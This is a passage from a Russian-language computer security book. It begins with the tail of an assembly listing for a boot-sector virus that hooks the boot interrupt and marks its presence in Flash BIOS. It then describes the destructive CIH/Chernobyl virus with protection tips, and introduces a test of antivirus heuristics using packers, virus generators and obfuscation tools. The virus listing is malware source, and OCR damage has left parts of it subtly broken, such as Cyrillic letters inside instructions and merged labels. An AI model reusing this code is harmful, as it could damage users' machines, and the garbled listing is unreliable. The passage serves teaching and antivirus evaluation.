mov di, 7c00h
mov cx,512
rep movsb
; 3апустим вирус в boot-буфере
mov dl, 80h
jmp goto_Buffer
real_int19h:
; Произведем сброс дисковой подсистемы
xor ax, ax
int 13h
; Проинициализируем значения регистров для загрузки boot-сектора
mov cx, 1
mov dh, 0
mov ax, 0201h
mov bx, 7C00h
; Проверим, откуда грузимся: если DL не нулевой,
; переходим к загрузке с жесткого диска
cmp dl, 0
ja hd_int19h
; Прочтем boot-сектор с дискеты. Если при чтении происходит
; ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
; Остановим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7C00h+offset flash_done], 1
; 3апустим boot-сектор, находящийся в boot-буфере
db 0EAh ; Код команды JMP FAR
dw 7c00h
dw 0 Fix_HD:
; Установим номер диска для загрузки (диск С)
mov dl, 80h
HD_int19h:
; Произведем сброс дисковой подсистемы
хог ах, ах
int 13h ;
Прочтем boot-сектор
mov ax, 0201h
int 13h
jc Boot
jmp Goto_Buffer ;
Если не удалось загрузить boot-сектор,
; вызываем прерывание INT 18h
Boot:
int 18h
int19Handler EndP
Flash_BIOS EndP
End_Virus:
; Размер области памяти, необходимый для дополнения
; размера вируса до 510 байт
DupSize equ 510-offset End_Virus
; Заполнение не занятой вирусом части сектора
db DupSize dup (0)
db 55h, 0aah
Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в 'диком виде'? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого 'Чернобыля' (www.virusList.com).
Virus.Win9x.CIH также известен как «Чернобыль». Это резидентный вирус, работающий исключительно под операционными системами Windows 95/98. Длина вируса около 1 Кбайт. Впервые был обнаружен на Тайване в 1998 году. Избирательно перепрошивает BIOS: для заражения подходят только некоторые типы материнских плат, к тому же в настройках BIOS не должно быть установлено чтение только. После перепрошивки BIOS вирус приступает к винчестеру, а точнее, уничтожает все его содержимое. При этом вирус использует прямой доступ к диску, обходя тем самым стандартную антивирусную защиту от записи в загрузочные сектора.
Возможные варианты защиты (плюс такие классические варианты, как установка последней версии антивирусной программы с новыми базами):
¦ настройка BIOS, контроль режима чтение только;
¦ контроль критических областей с помощью специализированных утилит типа ADINF32.
Возможные варианты лечения:
¦ удаление вируса и его записей с помощью вакцин типа 'АнтиЧернобыль' и т. п.;
¦ радикальный метод – перепрошивка BIOS/замена микросхем.
5.4. Как работает эвристический анализатор кода и почему даже два антивируса в системе могут стать бесполезными
В рамках данного раздела мы попытаемся выяснить, действительно ли даже три антивируса могут дать сбой в поимке «хитрого» кода, и как с этим связано такое качество антивирусного продукта, как эвристика. В роли испытуемых антивирусов были выбраны следующие популярные продукты:
¦ 'Антивирус Касперского';
¦ ESET NOD32;
¦ Vba32 ('ВирусБлокАда').
ПРИМЕЧАНИЕ
В данном тесте мы акцентируем особое внимание на антивирусном продукте Vba32. Это белорусский антивирус, включающий в себя достаточно оригинальный эвристический модуль, в основе которого стоит запатентованная технология 'MalwareScopeTM'.
Методология проведения теста
Напомним, что качество эвристики определяется способностью антивируса распознавать модифицированный вредоносный код. Фактически, эвристика предполагает обнаружение вируса, которого нет в базах: по специальным алгоритмам и некоторым признакам антивирус сам должен «домыслить», что проверяемый код является вирусным. Как вы уже поняли, задача не из легких.
Для наибольшей объективности теста мы возьмем максимально широкий перечень инструментов, применяемых в подобных случаях. Помимо упаковщиков, генераторов вирусов и утилит для обфускации, мы включим в наш тест самописный вирус, а также воспользуемся полиморфным образцом Virus.Win32.Zombie, который известен оригинальной технологией декриптования для обхода эвристических анализаторов.
Подобная методология, включающая комплексное тестирование, широко применяется в сертифицированных тестовых лабораториях и позволяет минимизировать возможные погрешности, сделав результат теста максимально объективным.
'Свежесть' баз всех трех антивирусов одинакова. Уровень настроек эвристики во всех трех случаях аналогичен и приравнен к средним.